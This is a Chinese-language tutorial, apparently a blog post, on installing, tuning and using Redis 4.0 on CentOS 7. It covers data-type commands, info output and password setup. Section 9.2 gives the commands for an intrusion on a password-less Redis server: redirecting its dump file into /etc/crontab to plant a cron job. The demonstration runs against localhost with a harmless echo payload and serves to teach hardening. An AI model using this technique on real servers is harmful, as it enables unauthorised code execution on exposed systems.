Redis4.0之持久化存储(上)

一,redis概述与实验环境说明

 

1.1 什么是redis

redis是一种内存型的NoSQL数据库,优点是快,常用来做缓存用 
redis存储数据的方法是以key-value的形式 
value类型支持字符串,列表,哈希等多种类型

 

1.2 环境说明

主机名IP用途
redis01 192.168.200.70 redis-master

cat /etc/redhat-release

uname -r

systemctl stop firewalld

systemctl disable firewalld

setenforce 0

sestatus

image_1cvias8u3r3kmc5eba1g1c1s902a.png-40.2kB

 

1.3 yum仓库使用技巧

 

查找一个命令出自哪个rpm包

 
  1. #查找一个命令出自哪个rpm包
  2. [root@Redis01 ~]# yum provides "*bin/ifconfig"
  3. net-tools-2.0-0.22.20131004git.el7.x86_64 : Basic networking tools
  4. base
  5. 匹配来源:
  6. 文件名 :/sbin/ifconfig
  7. [root@Redis01 ~]# yum provides "*bin/brctl"
  8. bridge-utils-1.5-9.el7.x86_64 : Utilities for configuring the linux ethernet bridge
  9. base
  10. 匹配来源:
  11. 文件名 :/usr/sbin/brctl
  12. [root@Redis01 ~]# yum provides "*bin/nslookup"
  13. 32:bind-utils-9.9.4-61.el7.x86_64 : Utilities for querying DNS name servers
  14. base
  15. 匹配来源:
  16. 文件名 :/usr/bin/nslookup
 

Redis所有包

链接:https://pan.baidu.com/s/1yEMChN6Cm3Hh1-lAVVpQ-A 
提取码:ttun

 

二,Redis服务器4.0版本源码编译安装

 

2.1 redis下载地址

https://redis.io/download

 

2.2 redis源码编译

yum -y install wget gcc gcc-c++ make tar openssl openssl-devel cmake

rpm -q wget gcc gcc-c++ make tar openssl openssl-devel cmake

tar xf redis-4.0.11.tar.gz -C /usr/src/

cd /usr/src/redis-4.0.11/

make && make MALLOC=jemalloc && make PREFIX=/usr/local/redis install --->MALLOC内存分配规则

cd /usr/local/redis/

ls

mkdir -p /usr/local/redis/conf

cp /usr/src/redis-4.0.11/redis.conf /usr/local/redis/conf/

cp /usr/src/redis-4.0.11/sentinel.conf /usr/local/redis/conf/

ln -s /usr/local/redis/bin/* /usr/local/bin/

which redis-server

redis-server --version #服务端连接命令

redis-cli --version #客户端连接命令

image_1cvteo5751jts2v6efr13p0jtj9.png-126.2kB


image_1cvteu7s8nid5hm1bsj1rtjpt4m.png-47kB

 

三,Redis服务器启动和系统参数调整

 

3.1 简化redis配置文件

pwd

cp conf/redis.conf{,.bak}

egrep -v "^$|^#" conf/redis.conf.bak > conf/redis.conf

mkdir -p /data/redis --->创建redis数据目录

image_1cvtf3r6k1542116311l47bckbj13.png-76.6kB

 

3.2 更改redis配置文件/usr/local/redis/conf/redis.conf

 

修改redis配置文件以下参数

cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p;21p'

 
  1. 1 bind 127.0.0.1
  2. 3 port 6379
  3. 4 tcp-backlog 511
  4. 7 daemonize no
  5. 9 pidfile /var/run/redis_6379.pid
  6. 11 logfile ""
  7. 21 dir ./

image_1cvtf5jd33a4qc117ok1rstld61g.png-21.4kB

 

修改成以下设置

vim conf/redis.conf

cat -n conf/redis.conf | sed -n '1p;3p;4p;7p;9p;11p'

 
  1. 1 bind 0.0.0.0 #监听地址
  2. 3 port 6379 #监听端口
  3. 4 tcp-backlog 1024 #tcp连接数
  4. 7 daemonize yes #是否后台启动
  5. 9 pidfile /data/redis/redis.pid #pid存放目录
  6. 11 logfile "/data/redis/redis.log" #日志存放目录
  7. 21 dir /data/redis/ #工作目录

image_1cvtfc4eo1b5e6oq1s5d1hnfi71t.png-23.4kB

 

3.3 redis服务器启动和关闭

 

启动redis服务器

redis-server /usr/local/redis/conf/redis.conf

netstat -antup | grep redis

image_1cvtfhp0l1de213u71afh4or3692a.png-17kB

 

关闭redis服务器

redis-cli shutdown

netstat -antup | grep redis

image_1cvtfi3bk70fplo1g9l1pbl4er2n.png-10.2kB

 

连接redis服务器

redis-server /usr/local/redis/conf/redis.conf

redis-cli --->不写默认是-p 6379 -h 127.0.0.1

exit --->退出交互界面

image_1cvtfipbc7f21fov1pvn1c93da934.png-12.6kB

 

3.4 系统参数优化调整

 

启动redis以后,我们查看系统日志

cat /data/redis/redis.log

 
  1. 18476:M 09 Aug 22:14:47.500 # User requested shutdown...
  2. 18476:M 09 Aug 22:14:47.500 * Saving the final RDB snapshot before exiting.
  3. 18476:M 09 Aug 22:14:47.502 * DB saved on disk
  4. 18476:M 09 Aug 22:14:47.502 * Removing the pid file.
  5. 18476:M 09 Aug 22:14:47.502 # Redis is now ready to exit, bye bye...
  6. 18483:C 09 Aug 22:14:50.394 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
  7. 18483:C 09 Aug 22:14:50.394 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=18483, just started
  8. 18483:C 09 Aug 22:14:50.394 # Configuration loaded
  9. 18484:M 09 Aug 22:14:50.395 * Increased maximum number of open files to 10032 (it was originally set to 1024). #警告提示1:系统文件描述符设置的太小了,才1024,我们最好设置到10032
  10. _._
  11. _.-``__ ''-._
  12. _.-`` `. `_. ''-._ Redis 4.0.11 (00000000/0) 64 bit
  13. .-`` .-```. ```\/ _.,_ ''-._
  14. ( ' , .-` | `, ) Running in standalone mode
  15. |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
  16. | `-._ `._ / _.-' | PID: 18484
  17. `-._ `-._ `-./ _.-' _.-'
  18. |`-._`-._ `-.__.-' _.-'_.-'|
  19. | `-._`-._ _.-'_.-' | http://redis.io
  20. `-._ `-._`-.__.-'_.-' _.-'
  21. |`-._`-._ `-.__.-' _.-'_.-'|
  22. | `-._`-._ _.-'_.-' |
  23. `-._ `-._`-.__.-'_.-' _.-'
  24. `-._ `-.__.-' _.-'
  25. `-._ _.-'
  26. `-.__.-'
  27. 18484:M 09 Aug 22:14:50.395 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
  28. #警告提示2:对一个高负载的环境来说tcp设置128这个值,太小了。
  29. 18484:M 09 Aug 22:14:50.395 # Server initialized
  30. 18484:M 09 Aug 22:14:50.395 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
  31. #警告提示3:overcommit_memory=0为不允许超额抢占内存,但是,rdb保存可能会失败。建议将vm.overcommit_memory = 1进行修改
  32. 18484:M 09 Aug 22:14:50.395 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
  33. #警告提示4:你的内核中启用了巨大内存页的支持,这将与redis的延迟内存使用冲突。
  34. 18484:M 09 Aug 22:14:50.395 * DB loaded from disk: 0.000 seconds
  35. 18484:M 09 Aug 22:14:50.396 * Ready to accept connections
 

(1)调整系统文件描述符

echo "* - nofile 10240" >> /etc/security/limits.conf

tail -1 /etc/security/limits.conf

这里我们只需要退出一下在登陆即可

ulimit -n

image_1cvtfrdic15mc1hsqk0m192tqjb3h.png-47.9kB

 

(2)调整系统tcp连接数

sysctl -a | grep soma

echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf

sysctl -p

image_1cvtfu0tu172l14tt16l61vvofc93u.png-33.6kB

 

(3)调整系统内存分配策略

echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf

tail -1 /etc/sysctl.conf

sysctl -p

sysctl -a | grep commit

 
  1. sysctl: reading key "net.ipv6.conf.all.stable_secret"
  2. sysctl: reading key "net.ipv6.conf.default.stable_secret"
  3. sysctl: reading key "net.ipv6.conf.ens32.stable_secret"
  4. sysctl: reading key "net.ipv6.conf.lo.stable_secret"
  5. vm.nr_overcommit_hugepages = 0
  6. vm.overcommit_kbytes = 0
  7. vm.overcommit_memory = 1 #设置好了
  8. vm.overcommit_ratio = 50

image_1cvtg1dgpr2sppnuq1qqudpg4b.png-48.1kB

 

(4)关闭系统内核的巨大内存页支持

echo never > /sys/kernel/mm/transparent_hugepage/enabled

cat /sys/kernel/mm/transparent_hugepage/enabled

echo never > /sys/kernel/mm/transparent_hugepage/defrag

cat /sys/kernel/mm/transparent_hugepage/defrag

添加到/etc/rc.local开机自动关闭系统内核的巨大内存页支持

echo 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' >> /etc/rc.local

echo 'echo never > /sys/kernel/mm/transparent_hugepage/defrag' >> /etc/rc.local

tail -2 /etc/rc.local

image_1cvtg6q3u1p7e1q6tivfn361h4o.png-50.6kB

 

(5)重启redis-server验证修改

关闭redis并情况日志

redis-cli shutdown

netstat -antup | grep redis

> /data/redis/redis.log #清空日志

image_1cvtgecpj50e10n7rm61o8m82r55.png-12.9kB

启动redis并查看日志

redis-server /usr/local/redis/conf/redis.conf

cat /data/redis/redis.log

 
  1. 17846:C 30 Dec 09:33:51.637 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
  2. 17846:C 30 Dec 09:33:51.637 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=17846, just started
  3. 17846:C 30 Dec 09:33:51.637 # Configuration loaded
  4. _._
  5. _.-``__ ''-._
  6. _.-`` `. `_. ''-._ Redis 4.0.11 (00000000/0) 64 bit
  7. .-`` .-```. ```\/ _.,_ ''-._
  8. ( ' , .-` | `, ) Running in standalone mode
  9. |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
  10. | `-._ `._ / _.-' | PID: 17847
  11. `-._ `-._ `-./ _.-' _.-'
  12. |`-._`-._ `-.__.-' _.-'_.-'|
  13. | `-._`-._ _.-'_.-' | http://redis.io
  14. `-._ `-._`-.__.-'_.-' _.-'
  15. |`-._`-._ `-.__.-' _.-'_.-'|
  16. | `-._`-._ _.-'_.-' |
  17. `-._ `-._`-.__.-'_.-' _.-'
  18. `-._ `-.__.-' _.-'
  19. `-._ _.-'
  20. `-.__.-'
  21. 17847:M 30 Dec 09:33:51.641 # Server initialized
  22. 17847:M 30 Dec 09:33:51.641 * DB loaded from disk: 0.000 seconds
  23. 17847:M 30 Dec 09:33:51.641 * Ready to accept connections

image_1cvtgfi5k4qp1aaf19dh38gajm5i.png-73.1kB

 

四,Redis客户端使用和字符串简单操作

mysql命令用来跟MySQL服务器进行交互 
redis-cli命令用来跟redis服务器进行交互

 

4.1 使用redis-cli客户端登陆redis-server

redis-cli

 
  1. 127.0.0.1:6379> exit

redis-cli -h localhost -p 6379

 
  1. localhost:6379> exit

image_1cvtgpmfi1qce14t0ro088bkq45v.png-14.2kB

 

4.2 redis字符串操作

redis-cli

 
  1. 127.0.0.1:6379> set name Mr.sun #增加键(key)和值(value)
  2. OK
  3. 127.0.0.1:6379> get name #根据键获取值
  4. "Mr.sun"
  5. 127.0.0.1:6379> set name yunjisuan #修改键的值
  6. OK
  7. 127.0.0.1:6379> get name
  8. "yunjisuan"
  9. 127.0.0.1:6379> del name #删除,返回1代表删除成功
  10. (integer) 1
  11. 127.0.0.1:6379> GET name #命令不区分大小写
  12. (nil)
  13. 127.0.0.1:6379> set NAME test
  14. OK
  15. 127.0.0.1:6379> get name
  16. (nil)
  17. 127.0.0.1:6379> get NAME #key区分大小写
  18. "test"

image_1cvth1oki1ula16cb11otr92le86c.png-33.2kB

 

4.3 非交互式操作redis服务器

redis-cli set name welcome

redis-cli get name

redis-cli del name

redis-cli get name

image_1cvth4f5eb1ord21ehjm4110576p.png-19.7kB

 

五,Redis列表集合简单操作

redis的key都是字符串,value支持字符串,列表,集合等

 

5.1 redis列表的操作,有序的可重复的

列表就是有顺序的,可重复的一堆值的组合

redis-cli

 
  1. 127.0.0.1:6379> lpush names yun1 #创建一个列表names,并从左边推入一个值yun1
  2. (integer) 1
  3. 127.0.0.1:6379> lpush names yun2 #向列表names左边推入一个值yun2
  4. (integer) 2
  5. 127.0.0.1:6379> lpush names yun3
  6. (integer) 3
  7. 127.0.0.1:6379> lpush names yun
  8. (integer) 4
  9. 127.0.0.1:6379> lpush names yun4
  10. (integer) 5
  11. 127.0.0.1:6379> lpush names yun5
  12. (integer) 6
  13. 127.0.0.1:6379> lrange names 0 -1 #查看列表names从索引0开始到结束所有的值
  14. 1) "yun5"
  15. 2) "yun4"
  16. 3) "yun"
  17. 4) "yun3"
  18. 5) "yun2"
  19. 6) "yun1"
  20. 127.0.0.1:6379> lrange names 0 1 #查看索引0和1的值
  21. 1) "yun5"
  22. 2) "yun4"
  23. 127.0.0.1:6379> lrange names 0 2
  24. 1) "yun5"
  25. 2) "yun4"
  26. 3) "yun"
  27. 127.0.0.1:6379> lrange names 0 0
  28. 1) "yun5"
  29. 127.0.0.1:6379> lrange names 0 5
  30. 1) "yun5"
  31. 2) "yun4"
  32. 3) "yun"
  33. 4) "yun3"
  34. 5) "yun2"
  35. 6) "yun1"

image_1cvthea4313fu1bsklom17u11iag76.png-54.7kB

 
  1. 127.0.0.1:6379> lpush names yun
  2. (integer) 7
  3. 127.0.0.1:6379> lrange names 0 -1
  4. 1) "yun" #有两个yun
  5. 2) "yun5"
  6. 3) "yun4"
  7. 4) "yun" #有两个yun
  8. 5) "yun3"
  9. 6) "yun2"
  10. 7) "yun1"
  11. 127.0.0.1:6379> lrem names 1 yun #从左边数删除第一个yun
  12. (integer) 1
  13. 127.0.0.1:6379> lrange names 0 -1
  14. 1) "yun5"
  15. 2) "yun4"
  16. 3) "yun"
  17. 4) "yun3"
  18. 5) "yun2"
  19. 6) "yun1"
  20. 127.0.0.1:6379> lrem names 1 yun #从左边数删除第一个yun
  21. (integer) 1
  22. 127.0.0.1:6379> lrange names 0 -1
  23. 1) "yun5"
  24. 2) "yun4"
  25. 3) "yun3"
  26. 4) "yun2"
  27. 5) "yun1"

image_1cvthi9ku1b0kv001fe412m39fv7j.png-35kB

 
  1. 127.0.0.1:6379> lpush names yun #从列表的左边加入一个元素yun
  2. (integer) 6
  3. 127.0.0.1:6379> rpush names yun #从列表的右边加入一个元素yun
  4. (integer) 7
  5. 127.0.0.1:6379> lrange names 0 -1
  6. 1) "yun"
  7. 2) "yun5"
  8. 3) "yun4"
  9. 4) "yun3"
  10. 5) "yun2"
  11. 6) "yun1"
  12. 7) "yun"
  13. 127.0.0.1:6379> lrem names 0 yun #从列表的左边数删除所有的yun元素
  14. (integer) 2
  15. 127.0.0.1:6379> lrange names 0 -1
  16. 1) "yun5"
  17. 2) "yun4"
  18. 3) "yun3"
  19. 4) "yun2"
  20. 5) "yun1"

image_1cvti1qhtuuk1cul1r041ucu1v9v80.png-28.4kB

 
  1. 127.0.0.1:6379> lpop names #移除列表最左边的元素
  2. "yun5"
  3. 127.0.0.1:6379> lpop names
  4. "yun4"
  5. 127.0.0.1:6379> lpop names
  6. "yun3"
  7. 127.0.0.1:6379> lpop names
  8. "yun2"
  9. 127.0.0.1:6379> lpop names
  10. "yun1"

image_1cvtidca31001lg21i32pr918lc8q.png-29.4kB

 
  1. 127.0.0.1:6379> lpush names yun1
  2. (integer) 1
  3. 127.0.0.1:6379> lpush names yun2
  4. (integer) 2
  5. 127.0.0.1:6379> lpush names yun3
  6. (integer) 3
  7. 127.0.0.1:6379> lpush names yun4
  8. (integer) 4
  9. 127.0.0.1:6379> lpush names yun5
  10. (integer) 5
  11. 127.0.0.1:6379> lrange names 0 -1
  12. 1) "yun5"
  13. 2) "yun4"
  14. 3) "yun3"
  15. 4) "yun2"
  16. 5) "yun1"
  17. 127.0.0.1:6379> rpop names #移除列表最右边的元素
  18. "yun1"
  19. 127.0.0.1:6379> rpop names
  20. "yun2"
  21. 127.0.0.1:6379> rpop names
  22. "yun3"
  23. 127.0.0.1:6379> lrange names 0 -1
  24. 1) "yun5"
  25. 2) "yun4"
  26. 127.0.0.1:6379> lset names 0 yun #修改列表左起第一个元素
  27. OK
  28. 127.0.0.1:6379> lrange names 0 -1
  29. 1) "yun"
  30. 2) "yun4"

image_1cvtifld718aa1o4a1agoak412s397.png-49kB

 

5.2 redis集合的操作,无序的不重复的

集合就是不能重复的,无固定顺序的列表

 
  1. 127.0.0.1:6379> sadd ages 25 #向集合中添加元素
  2. (integer) 1
  3. 127.0.0.1:6379> sadd ages 30
  4. (integer) 1
  5. 127.0.0.1:6379> sadd ages 35
  6. (integer) 1
  7. 127.0.0.1:6379> sadd ages 40
  8. (integer) 1
  9. 127.0.0.1:6379> sadd ages 45
  10. (integer) 1
  11. 127.0.0.1:6379> sadd ages 50
  12. (integer) 1
  13. 127.0.0.1:6379> sadd ages 25 #失败,集合的元素具有唯一性
  14. (integer) 0
  15. 127.0.0.1:6379> smembers ages #查看集合里的元素
  16. 1) "25"
  17. 2) "30"
  18. 3) "35"
  19. 4) "40"
  20. 5) "45"
  21. 6) "50"
  22. 127.0.0.1:6379> srem ages 25 #移除即合里是25的元素
  23. (integer) 1
  24. 127.0.0.1:6379> spop ages #随机移除集合里的一个元素
  25. "50"
  26. 127.0.0.1:6379> smembers ages
  27. 1) "30"
  28. 2) "35"
  29. 3) "40"
  30. 4) "45"

image_1cvtimpc5tsq1dvbqf1dq7ht29k.png-45.4kB

 
  1. 127.0.0.1:6379> sismember ages 40 #查找集合里是否有40的元素
  2. (integer) 1
  3. 127.0.0.1:6379> sismember ages 40
  4. (integer) 1
  5. 127.0.0.1:6379> smembers ages #查看集合里的元素
  6. 1) "30"
  7. 2) "35"
  8. 3) "40"
  9. 4) "45"

image_1cvtiqmjjcus126j1kargpc7k1ae.png-16.2kB

 

六,Redis的hash和订阅简单操作

 

6.1 redis的hash操作

hash就是可以存多个键值对的组合(类似python字典)

 
  1. 127.0.0.1:6379> hset info name 'yunjisuan' #增加一个hash
  2. (integer) 1
  3. 127.0.0.1:6379> hset info age 25
  4. (integer) 1
  5. 127.0.0.1:6379> hset info location 'beijing'
  6. (integer) 1
  7. 127.0.0.1:6379> hgetall info
  8. 1) "name"
  9. 2) "yunjisuan"
  10. 3) "age"
  11. 4) "25"
  12. 5) "location"
  13. 6) "beijing"
  14. 127.0.0.1:6379> hget info name
  15. "yunjisuan"
  16. 127.0.0.1:6379> hdel info name age
  17. (integer) 2
  18. 127.0.0.1:6379> hgetall info
  19. 1) "location"
  20. 2) "beijing"
  21. 127.0.0.1:6379> del info
  22. (integer) 1
  23. 127.0.0.1:6379> hmset info name 'yunjisuan' age 25 location 'beijing'
  24. OK
  25. 127.0.0.1:6379> hgetall info
  26. 1) "name"
  27. 2) "yunjisuan"
  28. 3) "age"
  29. 4) "25"
  30. 5) "location"
  31. 6) "beijing"

image_1cvtk3gca6paggr5s1scu32rar.png-63.3kB

 

6.2 redis的订阅操作

 

开启redis的订阅功能

redis-cli

 
  1. 127.0.0.1:6379> subscribe yunjisuan #开启频道名:yunjisuan的订阅功能,可开启多个窗口进行订阅
  2. Reading messages... (press Ctrl-C to quit)
  3. 1) "subscribe"
  4. 2) "yunjisuan"
  5. 3) (integer) 1

image_1cvtkj9d114891pn1a81qj0hnmb8.png-17.5kB


image_1cvtkjk6k1pdb1ud81euc1657ihbl.png-22.4kB

 

对频道进行内容推送

redis-cli

 
  1. 127.0.0.1:6379> publish yunjisuan 'welcome' #向频道yunjisuan推送welcome
  2. (integer) 2 #推送成功的人数

image_1cvtkl3ge11t81hjt17871o0asfdc2.png-14.1kB


image_1cvtkm1qc1r74t8011pcf8o1tbvcf.png-27.4kB


image_1cvtkmdfgv2v1haoh3l17kh1mp2cs.png-22.1kB

 

七,使用Shell往Redis批量添加数据

 

(1)批量往redis server上插入数据

for line in `seq -w 50`;do redis-cli set name_${line} value_${line};done

image_1cvtkpvvs10b3b281mk8q8c19q7d9.png-26.1kB

 

(2)查看key的情况

redis-cli

 
  1. 127.0.0.1:6379> keys * #查看所有key命令,不建议使用,上千万的key会使redis服务器堵塞
  2. 127.0.0.1:6379> randomkey #随机返回一个key
  3. "name_44"
  4. 127.0.0.1:6379> randomkey
  5. "name_10"
  6. 127.0.0.1:6379> scan 0 #分页查看key
  7. 1) "52"
  8. 2) 1) "name_10"
  9. 2) "name_34"
  10. 3) "name_07"
  11. 4) "name_47"
  12. 5) "name_13"
  13. 6) "NAME"
  14. 7) "name_01"
  15. 8) "name_33"
  16. 9) "name_08"
  17. 10) "names"
  18. 127.0.0.1:6379> scan 1
  19. 1) "35"
  20. 2) 1) "name_26"
  21. 2) "name_05"
  22. 3) "name_38"
  23. 4) "name_16"
  24. 5) "name_32"
  25. 6) "name_40"
  26. 7) "name_42"
  27. 8) "name_39"
  28. 9) "name_20"
  29. 10) "name_06"

image_1cvtlairhh6a1tht1lcfpsu1t54dm.png-38.1kB


image_1cvtlcf0t8d515kr8er15s8171dej.png-33.4kB

 

八,Redis服务器info状态信息查看

redis提供了一个info命令查看redis服务器的信息,类似Linux提供一个top命令查看系统的信息

redis-cli info

 
  1. #Server服务器的信息
  2. redis_version:4.0.11 #redis服务器版本
  3. redis_git_sha1:00000000 #Git SHA1
  4. redis_git_dirty:0 #Git dirty flag
  5. redis_build_id:feb84973011f5402 #redis build id
  6. redis_mode:standalone #运行模式,单机或集群
  7. os:Linux 3.10.0-862.3.3.el7.x86_64 x86_64 #redis服务器宿主机操作系统
  8. arch_bits:64 #架构64位
  9. multiplexing_api:epoll #redis所使用的事件处理模型
  10. atomicvar_api:atomic-builtin
  11. gcc_version:4.8.5 #编译redis时gcc版本
  12. process_id:19450 #redis服务器进程的pid
  13. run_id:119ba49e27f25b118aaeb8829c60f32771906687 #redis服务器的随机标识符(sentinel和集群)
  14. tcp_port:6379 #redis服务器监听端口
  15. uptime_in_seconds:88667 #redis服务器启动总时间,单位秒
  16. uptime_in_days:1 #redis服务器启动总时间,单位天
  17. hz:10 #redis内部调度频率(关闭timeout客户端,删除过期key)
  18. lru_clock:7188187 #自增时间,用于LRU管理
  19. executable:/root/redis-server
  20. config_file:/usr/local/redis/conf/redis.conf #配置文件路径
  21. # Clients 已连接客户端信息
  22. connected_clients:1 #已经连接客户端数量(不包括slave连接的客户端)
  23. client_longest_output_list:0 #当前连接的客户端当中,最长的输出列表
  24. client_biggest_input_buf:0 #当前客户端当中,最大输入缓存。
  25. blocked_clients:0 #正在等待阻塞命令的客户端数量
  26. # Memory 内存信息
  27. used_memory:853016 #由redis分配器分配的内存总量,单位字节
  28. used_memory_human:833.02K #以可读方式返回redis已分配的内存总量
  29. used_memory_rss:2457600 #从操作系统角度,返回redis已分配内存总量
  30. used_memory_rss_human:2.34M #以可读方式返回redis已分配的内存总量
  31. used_memory_peak:931760 #redis的内存消耗峰值(以字节为单位)
  32. used_memory_peak_human:909.92K #以可读方式返回redis内存消耗峰值
  33. used_memory_peak_perc:91.55%
  34. used_memory_overhead:838934
  35. used_memory_startup:786592
  36. used_memory_dataset:14082
  37. used_memory_dataset_perc:21.20%
  38. total_system_memory:1021898752
  39. total_system_memory_human:974.56M
  40. used_memory_lua:37888 #lua引擎所使用的内存大小(单位字节)
  41. used_memory_lua_human:37.00K
  42. maxmemory:0
  43. maxmemory_human:0B
  44. maxmemory_policy:noeviction
  45. mem_fragmentation_ratio:2.88 #used_memory_rss和used_memory比率,小于1表示使用了swap,大于1表示碎片多,redis进行增加删除的动作,会引起内存碎片化
  46. mem_allocator:jemalloc-4.0.3 #编译时指定的redis的内存分配器。越好的分配器内存碎片化率越低,低版本建议升级
  47. active_defrag_running:0
  48. lazyfree_pending_objects:0
  49. # Persistence rdb和aof的持久化相关信息
  50. loading:0 #服务器是否正在载入持久化文件
  51. rdb_changes_since_last_save:0 #有多少个已经写入的命令还未被持久化
  52. rdb_bgsave_in_progress:0 #服务器是否正在创建rdb文件
  53. rdb_last_save_time:1533913162 #已经有多长时间没有进行持久化了
  54. rdb_last_bgsave_status:ok #最后一次的rdb持久化是否成功
  55. rdb_last_bgsave_time_sec:0 #最后一次生成rdb文件耗时秒数
  56. rdb_current_bgsave_time_sec:-1 #如果服务器正在创建rdb文件,那么当前这个记录就是创建操作耗时秒数
  57. rdb_last_cow_size:303104
  58. aof_enabled:0 #是否开启了aof
  59. aof_rewrite_in_progress:0 #标识aof的rewrite操作是否进行中
  60. aof_rewrite_scheduled:0
  61. aof_last_rewrite_time_sec:-1
  62. aof_current_rewrite_time_sec:-1
  63. aof_last_bgrewrite_status:ok #上次bgrewriteaof操作的状态
  64. aof_last_write_status:ok #上一次aof写入状态
  65. aof_last_cow_size:0
  66. # Stats 一般统计信息
  67. total_connections_received:129 #新创建的链接个数,如果过多,会影响性能
  68. total_commands_processed:226 #redis处理的命令数
  69. instantaneous_ops_per_sec:0 #redis当前的qps,redis内部较实时的每秒执行命令数
  70. total_net_input_bytes:8324 #redis网络入口流量字节数
  71. total_net_output_bytes:192093 #redis网络出口流量字节数
  72. instantaneous_input_kbps:0.00 #redis网络入口kps
  73. instantaneous_output_kbps:0.00 #redis网络出口kps
  74. rejected_connections:0 #拒绝的连接个数,redis连接个数已经达到maxclients限制。
  75. sync_full:0 #主从完全同步成功次数
  76. sync_partial_ok:0 #主从部分同步成功次数
  77. sync_partial_err:0 #主从部分同步失败次数
  78. expired_keys:0 #运行以来过期的key的数量
  79. expired_stale_perc:0.00
  80. expired_time_cap_reached_count:0
  81. evicted_keys:0 #运行以来剔除(超过maxmemory)的key的数量
  82. keyspace_hits:29 #命中次数
  83. keyspace_misses:3 #没命中次数
  84. pubsub_channels:0 #当前使用中的频道数量
  85. pubsub_patterns:0 #当前使用的模式数量
  86. latest_fork_usec:92
  87. migrate_cached_sockets:0
  88. slave_expires_tracked_keys:0
  89. active_defrag_hits:0
  90. active_defrag_misses:0
  91. active_defrag_key_hits:0
  92. active_defrag_key_misses:0
  93. # Replication 主从信息
  94. role:master
  95. connected_slaves:0
  96. master_replid:3a56d66723917199a5a86317dfecefda5588c0cc
  97. master_replid2:0000000000000000000000000000000000000000
  98. master_repl_offset:0 #主从同步偏移量(主从数据不一致)
  99. second_repl_offset:-1
  100. repl_backlog_active:0
  101. repl_backlog_size:1048576
  102. repl_backlog_first_byte_offset:0
  103. repl_backlog_histlen:0
  104. # CPU
  105. used_cpu_sys:16.81
  106. used_cpu_user:8.75
  107. used_cpu_sys_children:0.02
  108. used_cpu_user_children:0.00
  109. # Cluster 集群相关信息
  110. cluster_enabled:0
  111. # Keyspace 数据库相关信息
  112. db0:keys=55,expires=0,avg_ttl=0 #db0的key数量以及带有生存周期的key的个数,平均存活时间
 

九,Redis服务器加密和无密码攻击演示

redis无密码如果放在公网的话,会被攻击

 

9.1 给redis增加密码的两种方式

 

(1)通过redis配置文件增加密码

 

给配置文件增加密码参数

echo 'requirepass "yunjisuan"' >> /usr/local/redis/conf/redis.conf

tail -1 /usr/local/redis/conf/redis.conf

redis-cli shutdown #重启redis

netstat -antup | grep redis

redis-server /usr/local/redis/conf/redis.conf

netstat -antup | grep redis

redis-cli

 
  1. 127.0.0.1:6379> keys *
  2. (error) NOAUTH Authentication required. #需要验证才能查看,密码起作用了
  3. 127.0.0.1:6379> auth yunjisuan #通过auth 密码的方式进行验证
  4. OK
  5. 127.0.0.1:6379> set name benet
  6. OK

image_1cvtndfs9o5m10591nt61pp6ei8f0.png-49.7kB

 

非交互式输入密码进行登录

redis-cli -h 127.0.0.1 -p 6379 -a yunjisuan get name

 
  1. Warning: Using a password with '-a' option on the command line interface may not be safe.
  2. "benet"
  3. #警告:使用-a方式输入密码并不安全

image_1cvtnf2tg1saam0gua2fkm2egfd.png-15.3kB

 

(2)使用交互式的方式给redis增加密码(无需重启redis)

 

将之前在配置文件里设置的密码参数删除

tail -1 /usr/local/redis/conf/redis.conf

sed -i '$d' /usr/local/redis/conf/redis.conf

tail -1 /usr/local/redis/conf/redis.conf

image_1cvtnu8ai82h6q1116i11dr1f73fq.png-19.5kB

 

重启redis-server

redis-cli -a yunjisuan shutdown

netstat -antup | grep redis

redis-server /usr/local/redis/conf/redis.conf

netstat -antup | grep redis

image_1cvto1t9vi2k4prua017m91616hn.png-28.6kB

 

交互式登陆redis设置密码

redis-cli

 
  1. 127.0.0.1:6379> get name
  2. "benet"
  3. 127.0.0.1:6379> config get requirepass #获取redis配置的密码信息
  4. 1) "requirepass"
  5. 2) "" #此时密码空
  6. 127.0.0.1:6379> config set requirepass yunjisuan #给redis设置密码
  7. OK
  8. 127.0.0.1:6379> config get requirepass
  9. (error) NOAUTH Authentication required. #密码即时生效
  10. 127.0.0.1:6379> auth yunjisuan #进行密码验证
  11. OK
  12. 127.0.0.1:6379> config get requirepass #查看密码配置信息
  13. 1) "requirepass"
  14. 2) "yunjisuan" #有密码了
  15. 127.0.0.1:6379> config rewrite #将配置重写进行保存
  16. OK

image_1cvto69tu1hs61nful3m1iu645ui4.png-37.1kB

 

查看redis配置文件最后两行

tail -2 /usr/local/redis/conf/redis.conf

 
  1. # Generated by CONFIG REWRITE
  2. requirepass "yunjisuan" #增加了密码配置

image_1cvto6snc1hbimrc1lq1m8jug2ih.png-12.9kB

 

9.2 入侵无密码redis服务器演示(事先清空了密码)

redis-cli -h 127.0.0.1 config set dir /etc/

redis-cli -h 127.0.0.1 config set dbfilename "crontab"

echo "* * * * * root echo 'attack'" >> /tmp/attack

vim /tmp/attack

cat /tmp/attack #这个文件内容上下必须各有两个回车

 
  1. * * * * * root echo 'attack'

cat /tmp/attack | redis-cli -h 127.0.0.1 -x set attack

redis-cli -h 127.0.0.1 save

image_1cvtohpb41a2p1v1c1lt5klk1v5biu.png-37.8kB

 

查看/etc/crontab文件

cat /etc/crontab

tail -f /var/log/cron

 
  1. REDIS0008 redis-ver4.0.11
  2. redis-bits󿿀򳨭eêɭused-mem¨
  3. aof-preamble~𭠭e_2value_21
